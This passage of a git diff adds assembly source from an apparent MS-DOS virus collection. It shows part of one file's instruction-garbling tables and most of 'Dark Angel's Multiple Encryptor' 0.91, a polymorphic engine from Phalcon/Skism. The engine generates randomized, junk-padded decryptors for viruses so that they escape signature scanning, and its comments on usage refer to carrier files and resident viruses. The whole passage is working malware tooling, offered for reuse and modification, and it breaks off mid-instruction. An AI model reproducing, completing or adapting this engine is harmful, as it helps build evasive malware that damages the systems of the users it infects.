+ pop dx + jmp short xor_reg_xxxx + +xor_reg_xxxx: + mov si,offset xor_reg_xxxx_table + jmp handle_jmp_table + +_xor_reg_xxxx: + or al,030 + jmp _81h_ + +xor_reg_reg: + mov si,offset xor_reg_reg_table + jmp handle_jmp_table + +_xor_reg_reg: + mov ah,33 +_mod_reg_rm_direction: + or al,al + js dodirection + or dl,dl + js _mod_reg_rm + call one_in_two + js _mod_reg_rm +dodirection: + xchg al,dl + sub ah,2 +_mod_reg_rm: + shl al,1 + shl al,1 + shl al,1 + or al,dl +mod_xxx_rm: + or al,al + js no_no_reg + + or al,0c0 +no_no_reg: + xchg ah,al + + test ah,40 + jnz exit_mod_reg_rm + + test cl,1 + jnz continue_mod_xxx_rm + + push ax + mov al,2e + stosb + pop ax +continue_mod_xxx_rm: + stosw + + mov si,cs:[bp] ; need cs: overrides on bp + add si,si + mov cs:[si+bp+2],di + inc word ptr cs:[bp] + + mov al,_relocate_amt + cbw +exit_mod_reg_rm: + stosw + ret + +add_reg_reg: + mov si,offset add_reg_reg_table + jmp handle_jmp_table + +_add_reg_reg: + mov ah,3 + jmp short _mod_reg_rm_direction + +sub_reg_reg: + mov si,offset sub_reg_reg_table + jmp handle_jmp_table + +_sub_reg_reg: + mov ah,2bh + jmp short _mod_reg_rm_direction + +_add_reg_xxxx_inc_add: + call inc_reg + dec dx + jmp short add_reg_xxxx + +_add_reg_xxxx_dec_add: + call dec_reg + inc dx + jmp short add_reg_xxxx + +_add_reg_xxxx_add_add: + call get_rand_bx + push bx + sub dx,bx + call add_reg_xxxx + pop dx + jmp short add_reg_xxxx + +add_reg_xxxx1: + neg dx +add_reg_xxxx: + or dx,dx + jnz cont +return1: + ret +cont: + mov si,offset add_reg_xxxx_table + jmp handle_jmp_table + +_add_reg_xxxx: + or al,al + jz _add_ax_xxxx +_81h_: + or al,al + js __81h + add al,0c0 +__81h: + mov ah,81 + call mod_xxx_rm +_encode_dx_: + xchg ax,dx + stosw + ret +_add_ax_xxxx: + mov al,5 +_encode_al_dx_: + stosb + jmp short _encode_dx_ + +sub_reg_xxxx1: + neg dx +sub_reg_xxxx: +_sub_reg_xxxx: + or dx,dx + jz return1 + + or al,al + jz _sub_ax_xxxx + add al,028 + jmp short _81h_ +_sub_ax_xxxx: + mov al,2dh + jmp short _encode_al_dx_ + +dec_reg: + push ax + add al,8 + jmp short _dec_inc_reg +inc_reg: + push ax +_dec_inc_reg: + or al,al + jns _norm_inc + mov ah,0ff + call mod_xxx_rm + pop ax + ret +_norm_inc: + add al,40 + stosb + pop ax + ret + +_mov_reg_reg_3rd_reg: + mov bx,offset mov_reg_reg + mov si,offset mov_xchg_reg_reg + jmp short reg_to_reg + +xor_reg_reg_reg_reg: + mov bx,offset _xor_reg_reg + jmp short reg_to_reg1 +add_reg_reg_reg_reg: + mov bx,offset _add_reg_reg + jmp short reg_to_reg1 +sub_reg_reg_reg_reg: + mov bx,offset _sub_reg_reg +reg_to_reg1: + mov si,bx +reg_to_reg: + call free_regs + jne no_free_regs + + push ax + push si + call get_another + call mov_reg_reg ; mov reg3, reg2 + pop si + pop dx ; ax=reg3, dx=reg1 + xchg ax,dx ; ax=reg1, dx=reg3 + + push dx + call si + pop dx +go_clear_reg_dx: + jmp clear_reg_dx + +_xor_reg_xxxx_reg_reg: + mov bx,offset xor_reg_xxxx + mov si,offset xor_reg_reg +xxxx_to_reg: + call free_regs + jne no_free_regs + + push ax + push si + call get_another + call mov_reg_xxxx + xchg ax,dx + pop si + pop ax + + push dx + call si + pop dx + jmp short go_clear_reg_dx +no_free_regs: + jmp bx + +_add_reg_xxxx_reg_reg: + mov bx,offset add_reg_xxxx + mov si,offset add_reg_reg + jmp short xxxx_to_reg + +_mov_reg_xxxx_reg_reg: + mov bx,offset mov_reg_xxxx + mov si,offset mov_xchg_reg_reg + jmp short xxxx_to_reg + +garbletable: + db garbletableend - $ - 3 + dw offset return + dw offset return + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_onereg + dw offset garble_onereg + dw offset garble_onebyte + dw offset garble_jmpcond +garbletableend: + +onebytetable: + clc + cmc + stc + cld + std + sti + int 3 + lock + +oneregtable: + db oneregtableend - $ - 3 + dw offset xor_reg_xxxx + dw offset mov_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtableend: + +oneregtable1: + db oneregtable1end - $ - 3 + dw offset xor_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtable1end: + +oneregtable2: + db oneregtable2end - $ - 3 + dw offset xor_reg_xxxx + dw offset add_reg_xxxx + dw offset sub_reg_xxxx + dw offset sub_reg_xxxx + dw offset inc_reg + dw offset dec_reg + dw offset _rol + dw offset _ror +oneregtable2end: + +tworegtable: + db tworegtableend - $ - 3 + dw offset xor_reg_reg + dw offset mov_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtableend: + +tworegtable1: + db tworegtable1end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtable1end: + +tworegtable2: + db tworegtable2end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset add_reg_reg + dw offset sub_reg_reg +tworegtable2end: + +mov_reg_xxxx_table: + db mov_reg_xxxx_table_end - $ - 3 + dw offset _mov_reg_xxxx + dw offset _mov_reg_xxxx_reg_reg + dw offset _mov_reg_xxxx_mov_add + dw offset _mov_reg_xxxx_mov_al_ah + dw offset _mov_reg_xxxx_mov_xor + dw offset _mov_reg_xxxx_xor_add + dw offset _mov_reg_xxxx_mov_rol + dw offset _mov_reg_xxxx_mov_ror + +mov_reg_xxxx_table_end: + +mov_reg_reg_table: + db mov_reg_reg_table_end - $ - 3 + dw offset _mov_reg_reg + dw offset _mov_reg_reg + dw offset _mov_reg_reg_3rd_reg + dw offset _mov_reg_reg_push_pop +mov_reg_reg_table_end: + +xchg_reg_reg_table: + db xchg_reg_reg_table_end - $ - 3 + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg_push_pop + dw offset _xchg_reg_reg_3rd_reg +xchg_reg_reg_table_end: + +xor_reg_xxxx_table: + db xor_reg_xxxx_table_end - $ - 3 + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx_reg_reg + dw offset xor_reg_xxxx_xor_xor +xor_reg_xxxx_table_end: + +xor_reg_reg_table: + db xor_reg_reg_table_end - $ - 3 + dw offset _xor_reg_reg + dw offset xor_reg_reg_reg_reg +xor_reg_reg_table_end: + +add_reg_reg_table: + db add_reg_reg_table_end - $ - 3 + dw offset _add_reg_reg + dw offset add_reg_reg_reg_reg +add_reg_reg_table_end: + +sub_reg_reg_table: + db sub_reg_reg_table_end - $ - 3 + dw offset _sub_reg_reg + dw offset sub_reg_reg_reg_reg +sub_reg_reg_table_end: + +add_reg_xxxx_table: + db add_reg_xxxx_table_end - $ - 3 + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx_reg_reg + dw offset sub_reg_xxxx1 + dw offset _add_reg_xxxx_inc_add + dw offset _add_reg_xxxx_dec_add + dw offset _add_reg_xxxx_add_add + dw offset _add_reg_xxxx_add_add + +add_reg_xxxx_table_end: + +endif + +if vars eq 0 +else + +_nest db ? ; needed to prevent infinite recursion +_relocate_amt db ? + +_loopstartencrypt dw ? +_loopstartdecrypt dw ? + +_encryptpointer dw ? +_decryptpointer dw ? + +_decryptpointer2 dw ? + +_start_encrypt dw ? +_start_decrypt dw ? + +_used_regs db 8 dup (?) ; 0 = unused + beginclear1: +_encrypt_relocate_num dw ? +_encrypt_relocator dw 8 dup (?) + +_decrypt_relocate_num dw ? +_decrypt_relocator dw 10 dup (?) + endclear1: +_encrypt_length dw ? ; based upon alignment + +_counter_value dw ? ; _counter_reg +_pointer_value dw ? +_decrypt_value dw ? + +_dummy_reg db ? +_counter_reg db ? +_pointer_reg db ? ; 4 = not in use +_encrypt_reg db ? + +endif + diff --git a/MSDOS/Virus.MSDOS.Unknown.dame091.asm b/MSDOS/Virus.MSDOS.Unknown.dame091.asm new file mode 100644 index 00000000..8230cd84 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dame091.asm @@ -0,0 +1,1554 @@ +comment # + + Dark Angel's Multiple Encryptor + Version 0.91 + By Dark Angel of Phalcon/Skism + + This source may be freely distributed. Modifications are + encouraged and modified redistribution is allowed provided + this notice and the revision history to date are not altered. + You are free to append to the revision history and update the + usage information. + + Welcome to the source code for Dark Angel's Multiple Encryptor. + I, Dark Angel, will be your host for this short excursion through + a pretty nifty encryptor. + + DAME 0.90 (1574 bytes) + ~~~~ ~~~~ ~~~~~~~~~~~~ + Initial release. + + DAME 0.91 (1960 bytes) + ~~~~ ~~~~ ~~~~~~~~~~~~ + Source code commented. + + The user no longer needs to call the encryption routine manually; + the routine calls it automatically. This makes DAME a bit more + "user friendly." + + Garbling with two pointer registers simultaneously, i.e. [bx+di+offset] + is now supported. + + Added "double-reference" encryptions. Example: + mov ax,[bx+3212] + xor ax,3213 + mov [bx+3212],ax + + There is now a bitflag option to generate a decryptor which will transfer + control to the buffer on a paragraph boundary. + + There is now a 1% chance that no encryption will be encoded when + the "do_encrypt1" routine is called. Of course, null effect + encryptors may still be generated. + + garble_jmpcond is much more robust. It can now put valid instructions + between the conditional jump and the target of the jump. Therefore, + there is no longer a multitude of JZ $+2's and the like. Instead, they + are replaced by JZ $+4, XOR BX,BX, for example. + + The register tracker is cleared after the loop is completed. This makes + sense, since the registers are no longer needed. This also allows for the + manipulation of those used registers in the garbling after the loop is + completed. + + Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register + MOVes added. Memory PUSHes and POPs are now supported. + + The maximum nesting value is now the variable _maxnest, which can range + from 0 to MAXNEST. _maxnest is determined randomly at runtime. This makes + the decryption routines a bit more interesting. _nest is also cleared more + times during the run so that variability is continuous throughout. + + Short decryptor option added. This is automatically used when generating + the encryptor so the encryptor will always be of minimal length. + + More alignments are now possible. This makes the initial values of the + registers more flexible. + + BUG FIXES: + + BP is now preserved on exit + + Prefetch queue flushed on backwards encryption; 386+ hangs eliminated. + See routine named "clear_PIQ" + + Loopnz routines had possibility of not working properly; instruction + eliminated. + + NOTES: + + I forgot to give credit to the person from whom I stole the random number + routines. I took them from the routine embedded in TPE 1.x (I misremember + the version number). Many thanks to Masud Khafir! + + USAGE: + + ON ENTRY: + ax = flags + bit 15 : Use two registers for pointer : 0 = no, 1 = yes + bit 14 : Align size : 0 = word, 1 = dword + bit 13 : Encryption direction : 0 = forwards, 1 = backwards + bit 12 : Counter direction : 0 = forwards, 1 = backwards + bit 11 : Counter register used : 0 = no, 1 = yes + bit 10 : Temporary storage for double reference + bit 9 : Unused + bit 8 : Unused + bit 7 : Unused + bit 6 : Unused + bit 5 : Unused + bit 4 : Unused + bit 3 : return control on paragraph boundary : 1 = yes, 0 = no + bit 2 : short decryptor : 1 = yes, 0 = no (implies no garbling) + bit 1 : garble : 1 = yes, 0 = no + bit 0 : SS = DS = CS : 1 = yes, 0 = no + bx = start decrypt in carrier file + cx = encrypt length + dx = start encrypt + si = buffer to put decryption routine + di = buffer to put encryption routine + + ds = cs on entry + es = cs on entry + + RETURNS: + cx = decryption routine length + DF cleared + all other registers are preserved. + The RADIX is set to 16d. + + NOTES: + + rnd_init_seed is _not_ called by DAME. The user must explicitly call it. + + The buffer containing the routine to be encrypted should be 20 bytes + larger than the size of the routine. This allows padding to work. + + The decryption routine buffer should be rather large to accomodate the + large decryptors which may be generated. + + The encryption routine buffer need not be very large; 80h bytes should + suffice. 90d bytes is probably enough, but this value is untested. +# + +.radix 10h + +ifndef vars + vars = 2 +endif + +if not vars eq 1 ; if (vars != 1) + +_ax = 0 +_cx = 1 +_dx = 2 +_bx = 3 +_sp = 4 +_bp = 5 +_si = 6 +_di = 7 + +_es = 8 +_cs = 9 +_ss = 0a +_ds = 0bh + +; The constant MAXNEST determines the maximum possible level of nesting +; possible in any generated routine. If the value is too large, then +; recursion problems will cause a stack overflow and the program will +; crash. So don't be too greedy. 0Ah is a safe value to use for non- +; resident viruses. Use smaller values for resident viruses. +ifndef MAXNEST ; User may define MAXNEST prior to including + MAXNEST = 0a ; the DAME source code. The user's value will +endif ; then take precedence + +rnd_init_seed: + push dx cx bx + mov ah,2C ; get time + int 21 + + in al,40 ; port 40h, 8253 timer 0 clock + mov ah,al + in al,40 ; port 40h, 8253 timer 0 clock + xor ax,cx + xor dx,ax + jmp short rnd_get_loop_done +get_rand: + push dx cx bx + in al,40 ; get from timer 0 clock + db 5 ; add ax, xxxx +rnd_get_patch1 dw 0 + db 0BA ; mov dx, xxxx +rnd_get_patch2 dw 0 + mov cx,7 + +rnd_get_loop: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_get_loop_loc + inc al +rnd_get_loop_loc: + loop rnd_get_loop + +rnd_get_loop_done: + mov rnd_get_patch1,ax + mov rnd_get_patch2,dx + mov al,dl + pop bx cx dx + retn + +reg_table1: + ; reg1 reg2 mod/00/rm This is used to handle memory addressing + db _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx] + db _bp, 84, 10000110b ; if (reg2 == 84) + db _di, 84, 10000101b ; reg2 = NULL; + db _si, 84, 10000100b + + db _bp, _di, 10000011b + db _bp, _si, 10000010b + db _bx, _di, 10000001b + db _bx, _si, 10000000b + db _di, _bp, 10000011b + db _si, _bp, 10000010b + db _di, _bx, 10000001b + db _si, _bx, 10000000b + +aligntable db 3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks + +redo_dame: + pop di bp si dx cx bx ax +dame: ; Dark Angel's Multiple Encryptor + cld + push ax bx cx dx si bp di + call _dame + pop di + push cx di + call di + pop di cx bp si dx bx bx ax + ret + +_dame: ; set up initial values of the variables + cld + push ax + + mov ax,offset _encryptpointer + xchg ax,di ; save the pointer to the + stosw ; encryption routine buffer + xchg si,ax ; also save the pointer to + stosw ; the decryption routine + ; buffer in the same manner + stosw + + xchg ax,dx ; starting offset of + stosw ; encryption + xchg ax,bx ; starting offset of + stosw ; decryption routine + + xchg cx,dx ; dx = encrypt size + + xor ax,ax + mov cx,(endclear1 - beginclear1) / 2; clear additional data + rep stosw ; area + + call get_rand ; get a random number + and ax,not 0f ; clear user-defined bits + + pop cx ; cx = bitmask + xor cx,ax ; randomize top bits + + call get_rand_bx ; get a random number + and bx,7 ; and lookup in the table + mov al,byte ptr [bx+aligntable] ; for a random rounding size + cbw + add dx,ax ; round the encryption + not ax ; size to next word, dword, + and dx,ax ; etc. + + mov ax,dx ; save the new encryption + stosw ; length (_encrypt_length) + + shr ax,1 ; convert to words + test ch,40 ; encrypting double wordly? + jz word_encryption ; nope, only wordly encryption + shr ax,1 ; convert to double words +word_encryption: ; all the worldly encryption + test ch,10 ; shall do thee no good, my + jnz counter_backwards ; child, lest you repent for + neg ax ; the sins of those who would +counter_backwards: ; bring harm unto others + stosw ; save _counter_value + push dx ; Save rounded length + + call get_rand ; get a random value for the + stosw ; encryption value + ; (_decrypt_value) + pop ax ; get rounded encryption length + ; in bytes + test ch,20 ; is the encryption to run + jnz encrypt_forwards ; forwards or backwards? + neg ax ; Adjust for forwards +encrypt_forwards: + xor bx,bx ; Assume pointer_value2 = 0 + + test ch,80 ; Dual pointer registers? + jz no_dual + call get_rand_bx + sub ax,bx +no_dual:stosw ; Save the pointers to the + xchg ax,bx ; decryption (_pointer_value1 + stosw ; and _pointer_value2) + +; The following lines determine the registers that go with each function. +; There are a maximum of four variable registers in each generated +; encryption/decryption routine pair -- the counter, two pointer registers, +; and an encryption value register. Only one pointer register need be present +; in the pair; the other three registers are present only if they are needed. + +s0: call clear_used_regs + mov di,offset _counter_reg + mov al,84 ; Assume no counter register + test ch,8 ; Using a counter register? + jz s1 + call get_rand ; get a random initial value + mov _pointer_value1,ax ; for the pointer register + call get_another ; get a counter register +s1: stosb ; Store the counter register + + xchg ax,dx + + mov al,84 ; Assume no encryption register + call one_in_two ; 50% change of having an + js s2 ; encryption register + ; Note: This merely serves as + ; an extra register and may or + ; may not be used as the + ; encryption register. + call get_another ; get a register to serve as +s2: stosb ; the encryption register + + cmp ax,dx ; normalise counter/encryption + ja s3 ; register pair so that the + xchg ax,dx ; smaller one is always in the +s3: mov ah,dl ; high byte + cmp ax,305 ; both BX and BP used? + jz s0 ; then try again + cmp ax,607 ; both SI and DI used? + jz s0 ; try once more + +s4: mov si,offset reg_table1 ; Use the table + mov ax,3 ; Assume one pointer register + test ch,80 ; Using two registers? + jz use_one_pointer_reg + add si,4*3 ; Go to two register table + add al,4 ; Then use appropriate mask +use_one_pointer_reg: + call get_rand_bx ; Get a random value + and bx,ax ; Apply mask to it + add si,bx ; Adjust table offset + add bx,bx ; Double the mask + add si,bx ; Now table offset is right + lodsw ; Get the random register pair + mov bx,ax ; Check if the register in the + and bx,7 ; low byte is already used + cmp byte ptr [bx+_used_regs],0 + jnz s4 ; If so, try again + mov bl,ah ; Otherwise, check if there is + or bl,bl ; a register in the high byte + js s5 ; If not, we are done + cmp byte ptr [bx+_used_regs],0 ; Otherwise, check if it is + jnz s4 ; already used +s5: stosw ; Store _pointer_reg1, + movsb ; _pointer_reg2, and + ; _pointer_rm +calculate_maxnest: + call get_rand ; Random value for _maxnest + and al,0f ; from 0 to MAXNEST + cmp al,MAXNEST ; Is it too large? + ja calculate_maxnest ; If so, try again + stosb ; Otherwise, we have _maxnest + + call clear_used_regs ; mark no registers used +encode_setup: ; encode setup portion + mov di,_decryptpointer ; (pre-loop) of the routines + call twogarble ; start by doing some garbling + ; on the decryption routine + mov si,offset _counter_reg ; now move the initial + push si ; values into each variable +encode_setup_get_another: ; register -- encode them in a + call get_rand_bx ; random order for further + ; variability + and bx,3 ; get a random register to en- + mov al,[si+bx] ; code, i.e. counter, pointer, + cbw ; or encryption value register + test al,80 ; is it already encoded? + jnz encode_setup_get_another ; then get another register + + or byte ptr [bx+_counter_reg],80 ; mark it encoded in both the + mov si,ax ; local and + inc byte ptr [si+_used_regs] ; master areas + + add bx,bx ; convert to word offset + mov dx,word ptr [bx+_counter_value] ; find value to set the + ; register to + mov _nest,0 ; clear the current nest count + call mov_reg_xxxx ; and encode decryption routine + ; instruction + call twogarble ; garble it some more + call swap_decrypt_encrypt ; now work on the encryption + ; routine + push cx ; save the current bitmap + and cl,not 7 ; encode short routines only + call _mov_reg_xxxx ; encode the encryption routine + ; instruction + pop cx ; restore bitmap + + mov _encryptpointer,di ; return attention to the + ; decryption routine + pop si + mov dx,4 +encode_setup_check_if_done: ; check if all the variables + ; have been encoded + lodsb ; get the variable + test al,80 ; is it encoded? + jz encode_setup ; nope, so continue encoding + dec dx ; else check the next variable + jnz encode_setup_check_if_done ; loop upwards + + mov si,offset _encryptpointer ; Save the addresses of the + mov di,offset _loopstartencrypt ; beginning of the loop in + movsw ; the encryption and decryption + movsw ; routines + +; Encode the encryption/decryption part of loop + mov _relocate_amt,0 ; reset relocation amount + call do_encrypt1 ; encode encryption + + test ch,40 ; dword encryption? + jz dont_encrypt2 ; nope, skip + + mov _relocate_amt,2 ; handle next word to encrypt + call do_encrypt1 ; and encrypt! +dont_encrypt2: +; Now we are finished encoding the decryption part of the loop. All that +; remains is to encode the loop instruction, garble some more, and patch +; the memory manipulation instructions so they encrypt/decrypt the proper +; memory locations. + mov bx,offset _loopstartencrypt ; first work on the encryption + push cx ; save the bitmap + and cl,not 7 ; disable garbling/big routines + call encodejmp ; encode the jmp instruction + pop cx ; restore the bitmap + + mov ax,0c3fc ; cld, ret ; encode return instruction + stosw ; in the encryption routine + + mov si,offset _encrypt_relocator ; now fix the memory + mov di,_start_encrypt ; manipulation instructions + + push cx ; cx is not auto-preserved + call relocate ; fix address references + pop cx ; restore cx + + mov bx,offset _loopstartdecrypt ; Now work on decryption + call encodejmp ; Encode the jmp instruction + push di ; Save the current pointer + call clear_used_regs ; Mark all registers unused + pop di ; Restore the pointer + call twogarble ; Garble some more + test cl,8 ; Paragraph alignment on + jnz align_paragraph ; entry to virus? + test ch,20 ; If it is a backwards + jz no_clear_prefetch ; decryption, then flush the + call clear_PIQ ; prefetch queue (for 386+) +no_clear_prefetch: ; Curse the PIQ!!!!! + call twogarble ; Garble: the final chapter + jmp short PIQ_done +align_paragraph: + mov dx,di ; Get current pointer location + sub dx,_decryptpointer2 ; Calculate offset when control + add dx,_start_decrypt ; is transfered to the carrier + inc dx ; Adjust for the JMP SHORT + inc dx + neg dx + and dx,0f ; Align on the next paragraph + cmp dl,10-2 ; Do we need to JMP? + jnz $+7 ; Yes, do it now + test ch,20 ; Otherwise, check if we need + jz PIQ_done ; to clear the prefetch anyway + call clear_PIQ_jmp_short ; Encode the JMP SHORT +PIQ_done: + mov _decryptpointer,di + + mov si,offset _decrypt_relocator ; Calculate relocation amount + sub di,_decryptpointer2 + add di,_start_decrypt +relocate: + test ch,20 ; Encrypting forwards or + jz do_encrypt_backwards ; backwards? + add di,_encrypt_length ; Backwards is /<0oI_ +do_encrypt_backwards: ; uh huh uh huh uh huh + sub di,_pointer_value1 ; Calculate relocation amount + sub di,_pointer_value2 + mov cx,word ptr [si-2] ; Get relocation count + jcxz exit_relocate ; Exit if nothing to do + xchg ax,di ; Otherwise we be in business +relocate_loop: ; Here we go, yo + xchg ax,di + lodsw ; Get address to relocate + xchg ax,di + add [di],ax ; Relocate mah arse! + loop relocate_loop ; Do it again 7 times +exit_relocate: ; ('cause that makes 8) + mov di,_decryptpointer ; Calculate the decryption + mov cx,di ; routine size to pass + sub cx,_decryptpointer2 ; back to the caller + ret + +encodejmp: + mov di,word ptr [bx+_encryptpointer-_loopstartencrypt] + + push bx + mov _nest,0 ; Reset nest count + mov al,_pointer_reg1 ; Get the pointer register + and ax,7 ; Mask out any modifications + mov dx,2 ; Assume word encryption + test ch,40 ; Word or Dword? + jz update_pointer1 + shl dx,1 ; Adjust for Dword encryption +update_pointer1: + test ch,20 ; Forwards or backwards? + jz update_pointer2 + neg dx ; Adjust for backwards +update_pointer2: + test ch,80 ; Are there two pointers? + jz update_pointer_now ; Continue only if so + + sar dx,1 ; Halve the add value + push ax ; Save register to add + call add_reg_xxxx ; Add to first register + mov al,_pointer_reg2 + and ax,7 ; Add to the second pointer + call add_reg_xxxx ; register + pop bx + test ch,8 ; Using a counter register? + jnz update_pointer_done ; If not, continue this + + push bx ; Save first register + xchg ax,dx ; Move second register to DX + call get_another ; Get new register regX + call mov_reg_reg ; MOV regX, _pointer_reg2 + pop dx ; Restore first register + call add_reg_reg ; ADD regX, _pointer_reg1 + call clear_reg ; Clear the temp register + jmp short update_pointer_done ; Skip adjustment of pointer + ; register (already done) +update_pointer_now: + call add_reg_xxxx ; Adjust pointer register +update_pointer_done: + mov dl,75 ; Assume JNZ + + mov al,_counter_reg ; Is there a counter register? + and ax,7 + cmp al,_sp + jz do_jnz + + push dx ; Save JNZ + mov dx,1 ; Assume adjustment of one + + test ch,10 ; Check counter direction + jz go_counter_forwards ; If forwards, increment the + ; counter + cmp al,_cx ; Check if the counter is CX + jnz regular ; If not, then decrement the + ; counter and continue + call one_in_two ; Otherwise, there is a 50% + js regular ; chance of using a LOOP + + pop dx + mov dl,0e2 ; let us encode the LOOP + jmp short do_jnz + +regular:neg dx +go_counter_forwards: + call add_reg_xxxx ; Adjust counter register + pop dx +do_jnz: pop bx + mov ax,[bx] ; Calculate value to JNZ/LOOP + sub ax,di ; back + dec ax + dec ax + xchg ah,al ; Value is in AL + mov al,dl ; jnz + + or ah,ah ; Value >= 128? If so, it is + js jmplocation_okay ; impossible to JNZ/LOOP there + ; due to stupid 8086 limitation + pop ax ax ; Take return locations off + jmp redo_dame ; the stack and encode again +jmplocation_okay: + stosw ; Encode JNZ/LOOP instruction + mov word ptr [bx+_encryptpointer-_loopstartencrypt],di + ret ; Save current location + +encryption: +; This routine encodes the instruction which actually manipulates the memory +; location pointed to by the pointer register. + and ch,not 4 ; Default = no double reference + call one_in_two ; But there is a 50% chance of + js not_double_reference ; using a double reference + or ch,4 ; Yes, we are indeed using it +not_double_reference: + mov di,_decryptpointer ; Set the registers to work + mov bp,offset _decrypt_relocate_num ; with the decryption routine + call twogarble ; Insert some null instructions + + xor ax,ax ; Get the value for the rm + mov al,_pointer_rm ; field corresponding to the + ; pointer register/s used + call choose_routine ; Get random decryption type + call go_next ; to DX, BX, SI + push si dx si dx ; Save crypt value/register + ; and crypt pointer +;; mov _nest,0 ; not needed - choose_routine does it + test ch,4 + jz not_double_reference1 ; Double reference? + + xchg ax,dx ; Pointer register/s to dx + call get_another ; Unused register to AX (reg1) + call mov_reg_reg ; MOV reg1,[pointer] + mov _kludge,dx ; Store the pointer register +not_double_reference1: + pop dx si ; Restore decryption pointer + call handle_jmp_table ; Encode decryption routine + push bx ; Save routine that was used + call twogarble ; Garble some more for fun + + test ch,4 + jz not_double_reference2 ; Double reference? + + xchg ax,dx ; reg1 to dx + mov ax,_kludge ; Restore pointer + push ax ; Save pointer + call mov_reg_reg ; MOV [pointer],reg1 + call clear_reg_dx ; Return reg1 to free pool + pop ax ; Restore pointer +not_double_reference2: + mov bp,offset _encrypt_relocate_num ; Set the registers to work + call swap_decrypt_encrypt ; with the encryption routine + + pop bx dx si ; Restore crypt value/register + call go_next ; Convert to encryption table + jmp short finish_encryption ; and encode the encryption + ; corresponding to the + ; decryption +do_encrypt1: ; Perform encryption on a word + call playencrypt ; Alter encryption value + call get_rand ; Have a tiny chance + cmp ax,6 ; (1% chance) of not + jb playencrypt ; encrypting at all + call encryption ; Encrypt! +playencrypt: ; Update the encryption value + mov di,_decryptpointer + call twogarble + + mov al,_encrypt_reg ; Encryption register used? + and ax,7 + cmp al,4 + jz swap_decrypt_encrypt + + call get_rand_bx ; 75% chance of altering the + cmp bl,0c0 ; encryption value register + ja swap_decrypt_encrypt ; Exit if nothing is to occur + + call choose_routine ; Select a method of updating + call handle_jmp_table_nogarble ; Encode the decryption + call swap_decrypt_encrypt ; Now work on encryption +finish_encryption: + push cx ; Save current bitmask + and cl,not 7 ; Turn off garbling/mo routines + call [bx+si+1] ; Encode the same routine for + ; the encryption + pop cx ; Restore the bitmask + mov _encryptpointer,di + ret + +choose_routine: + mov _nest,0 ; Reset recursion counter + call one_in_two ; 50% chance of using an + js get_used_register ; already used register as + ; an update value + call get_rand_bx ; Get random number as the + ; update value + mov si,offset oneregtable ; Choose the update routine + ; from this table + jmp short continue_choose_routine ; Saves one byte over + ; xchg dx,bx / ret +get_used_register: +; This routine returns, in DX, a register whose value is known at the current +; point in the encryption/decryption routines. SI is loaded with the offset +; of the appropriate table. The routine destroys BX. + call get_rand_bx ; Get a random number + and bx,7 ; Convert to a register (0-7) + cmp bl,_sp ; Make sure it isn't SP; that + jz get_used_register ; is always considered used + cmp byte ptr [bx+_used_regs],0 ; Check if the register is + jz get_used_register ; currently in use + mov si,offset tworegtable ; Use routine from this table +continue_choose_routine: + xchg dx,bx ; Move value to dx + ret ; and quit + +swap_decrypt_encrypt: + mov _decryptpointer,di ; save current pointer + push ax + mov al,_maxnest ; disable garbling + mov _nest,al + pop ax + mov di,_encryptpointer ; replace with encryption + ret ; pointer + +go_next: +; Upon entry, SI points to a dispatch table. This routine calculates the +; address of the next table and sets SI to that value. + push ax + lodsb ; Get mask byte + cbw ; Convert it to a word + add si,ax ; Add it to the current + pop ax ; location (table+1) + inc si ; Add two more to adjust + inc si ; for the mask + ret ; (mask = size - 3) + +clear_used_regs: + xor ax,ax ; Mark registers unused + mov di,offset _used_regs ; Alter _used_regs table + stosw + stosw + inc ax ; Mark SP used + stosw + dec ax + stosw + ret + +get_another: ; Get an unused register + call get_rand ; Get a random number + and ax,7 ; convert to a register +; cmp al,_sp +; jz get_another + mov si,ax + cmp [si+_used_regs],0 ; Check if used already + jnz get_another ; Yes, try again + inc [si+_used_regs] ; Otherwise mark the register + ret ; used and return + +clear_reg_dx: ; Mark the register in DX + xchg ax,dx ; unused +clear_reg: ; Mark the register in AX + mov si,ax ; unused + mov byte ptr [si+_used_regs],0 + ret + +free_regs: +; This checks for any free registers and sets the zero flag if there are. + push ax cx di + mov di,offset _used_regs + mov cx,8 + xor ax,ax + repne scasb + pop di cx ax + ret + +one_in_two: ; Gives 50% chance of + push ax ; something happening + call get_rand ; Get a random number + or ax,ax ; Sign flag set 50% of the + pop ax ; time + ret + +get_rand_bx: ; Get a random number to BX + xchg ax,bx ; Save AX + call get_rand ; Get a random number + xchg ax,bx ; Restore AX, set BX to the +return: ; random number + ret + +garble_onebyte: +; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc. + xchg ax,dx ; Get the random number in AX + and al,7 ; Convert to table offset + mov bx,offset onebytetable ; Table of random bytes + xlat ; Get the byte + stosb ; and encode it + ret + +garble_jmpcond: +; Encode a random short conditional or unconditional JMP instruction. The +; target of the JMP is an unspecified distance away. Valid instructions +; take up the space between the JMP and the target. + xchg ax,dx ; Random number to AX + and ax,0f ; Convert to a random JMP + or al,70 ; instruction + stosw ; Encode it + push di ; Save current location + call garble ; May need to check if too large + mov ax,di ; Get current location + pop bx ; Restore pointer to the JMP + sub ax,bx ; Calculate the offset + mov byte ptr [bx-1], al ; Put it in the conditional + ret ; JMP + +clear_PIQ: +; Encode instructions that clear the prefetch instruction queue. +; CALL/POP +; JMP SHORT +; JMP + call get_rand ; Get a random number + mov dl,ah ; Put high byte in DL + and dx,0f ; Adjust so JMP target is + ; between 0 and 15 bytes away + and ax,3 ; Mask AX + jz 